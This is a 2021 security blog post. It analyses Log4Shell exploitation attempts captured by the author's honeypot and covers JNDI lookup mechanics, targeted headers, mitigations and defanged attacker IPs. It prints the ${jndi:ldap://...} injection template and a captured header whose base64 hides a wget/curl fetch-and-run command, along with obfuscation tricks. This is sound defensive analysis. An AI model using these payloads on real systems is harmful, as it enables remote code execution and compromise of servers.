Log4jShell Attack Analysis

Analysis of Log4jShell Attack

23 December 2021


23 December 2021

Analysis of Log4jShell Attack

by Jacob Pimental

On December 9th, a vulnerability, dubbed Log4jShell, was found in the Java Logging Library Log4j. The vulnerability allows for remote code execution on Java Applications running a vulnerable version of Log4j. After this vulnerability was announced, I created a basic honeypot to research the attacks. This article will provide a technical overview into how the attack works as well as present findings from data collected from my honeypot.

  1. Anatomy of Attack
  2. Other Protocols
  3. Mitigations
  4. Honeypot Results
  5. Conclusion
  6. IOCs

Anatomy of Attack

The Log4jShell vulnerability uses lookup strings which are specially formatted strings that allow the application to add values to logs without the need for additional Java code. An example of a lookup string is ${java:version} which logs the version of the current Java instance.

public class Main {
    static final Logger log = Logger.getLogger(Main.class);

    public static void main(String[] args) {
    	log.debug("Hello, world!");
        log.debug("${java:version}");
    }
}

Log Output Example log output from the Java Code above

Specifically, this vulnerability utilizes the Java Naming and Directory Interface (JNDI) lookup string to retrieve a remote Java object. Once retrieved, the JDNI will run that code locally.

A common attack injects the string ${jndi:ldap://<attacker_server>/<base_search>} to load malicious code from an attacker controlled LDAP server. The attacker will insert the string into commonly logged fields in a web request such as: URI, HTTP Headers, and form fields. The data collected from my honeypot shows the most common fields used in the past seven days:

Field Occurrences
User-Agent 25.58%
Authorization 24.42%
Cookie 9.3%
In URI 8.14%
Referer 4.65%
Origin 1.16%
Host 1.16%
X-Originating-Ip 1.16%
X-Forwarded-For 1.16%
From 1.16%
X-Client-Ip 1.16%
Expect-Ct 1.16%
X-Wap-Profile 1.16%
Contact 1.16%
Forwarded 1.16%
Cf-Connecting-Ip 1.16%
Via 1.16%
X-Api-Version 1.16%
True-Client-Ip 1.16%
Client-Ip 1.16%
X-Real-Ip 1.16%

When the lookup string is parsed, the Java application will make an anonymous LDAP query to the malicious server using the URI as a base object. For example, I observed an attacking IP using the following header in an HTTP request:

X-Api-Version: ${jndi:ldap://81[.]30[.]157[.]43:1389/Basic/Command/Base64/Y2QgL3Vzci9iaW47d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2N1cmwgLU8gaHR0cDovLzE1NS45NC4xNTQuMTcwL2JiYjtjaG1vZCAreCBiYmI7Li9iYmI=}

In the above example, the vulnerable server will make an anonymous LDAP query to 81[.]30[.]157[.]43 on port 1389 with the base object Basic/Command/Base64/Y2QgL3Vzci9iaW47d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2N1cmwgLU8gaHR0cDovLzE1NS45NC4xNTQuMTcwL2JiYjtjaG1vZCAreCBiYmI7Li9iYmI= and the default query of (objectClass=*).

LDAP Search Request PCAP PCAP of search request from vulnerable server

From the data in my honeypot, it was found that the base object used for LDAP queries was a mix of base64 and plaintext strings.

Honeypot Result of Base64 Encoded BaseObject Result from honeypot of base64 encoded base object

Honeypot Result of Plaintext BaseObject Result from honeypot of plaintext base object

The malicious LDAP server will respond with an entry containing four values: javaClassName, javaCodeBase, objectClass, and javaFactory.

LDAP Search Response PCAP PCAP of search response form malicious LDAP server

JNDI will take the javaCodeBase and javaFactory values to load malicious Java code from the attacker at http://<javaCodeBase>/<javaFactory>.class, or in our example: http://81[.]30[.]157[.]43:8080/Exploity2x2ukz72E.class.

JNDI Loading Malicious Code Over HTTP JNDI loading malicious Java class over HTTP

This specific Java class contains a bash command that is used to download a second stage. This article will not be covering the second stage payload.

Malicious Java Class Decompiled Java payload

Other Protocols

LDAP is not the only protocol that the JNDI lookup string supports. The other two commonly seen protocols are:

Protocol Description
rmi Formatted as jndi:rmi://<host>:<port>/<object>; This will grab an remote Java object at the host and port RMI server.
dns Formatted as jndi:dns://<host>:<port>/<domain>; Will use the host and port as a DNS server to perform a lookup on the domain in the URI. Currently this was not found to be exploitable like LDAP or RMI. It is mainly used for reconnaissance.

Mitigations

At the time of writing, Log4j has release version 2.17 which mitigates the RCE vulnerability and DoS vulnerability that were seen in version 2.16. It is recommended to apply this patch as soon as possible which you can download here.

LunaSec also has a detailed mitigation guide on how to find which applications are vulnerable to this exploit as well as other mitigation strategies.

Honeypot Results

Overall, there has been a decline in the number of attacks seen against the honeypot since the vulnerability was first made public. This might be caused by a drop in the number of vulnerability scanners, such as the one from Kryptos Logic.

Time chart of Number of Honeypot Hits Timeline of attack attempts against my honeypot

The honeypot was attacked by 14 unique IP addresses over a five day period. The top three IPs were: 46[.]105[.]95[.]220, 45[.]83[.]64[.]52, 195[.]54[.]160[.]149. You can find the entire list of IPs seen in the IOC Section of this article.

Chart of Number of Unique IPs Number of attacks from unique IPs

Attackers have found ways to obfuscate the attack by using other Log4j format strings such as: ${lower:J} and ${::-j}. Most of the attacks against my honeypot were using some form of obfuscation:

Chart showing obfuscated attacks Number of obfuscated attempts against the honeypot

Conclusion

The goal of this article was to provide a brief overview of how the attack works to help readers identify attempts in their environment. If you would like to read more, the official LunaSec report on this vulnerability is a good place to start. If you have any questions or comments about this post, feel free to message me on my Twitter or LinkedIn.

IOCs

IOCs
109[.]237[.]96[.]124
110[.]191[.]217[.]236
113[.]98[.]224[.]68
121[.]4[.]56[.]143
157[.]245[.]108[.]125
167[.]172[.]44[.]255
167[.]99[.]221[.]249
191[.]232[.]38[.]25
195[.]54[.]160[.]149
212[.]193[.]57[.]225
221[.]226[.]159[.]22
36[.]72[.]216[.]81
45[.]83[.]64[.]52
46[.]105[.]95[.]220
47[.]241[.]208[.]155
61[.]175[.]202[.]154
62[.]76[.]41[.]46
64[.]227[.]188[.]164

Thanks for reading and happy reversing!

tags: Honeypot - Log4j - Java - Malware Analysis

Honeypot, Log4j, Java, Malware Analysis

More Content Like This: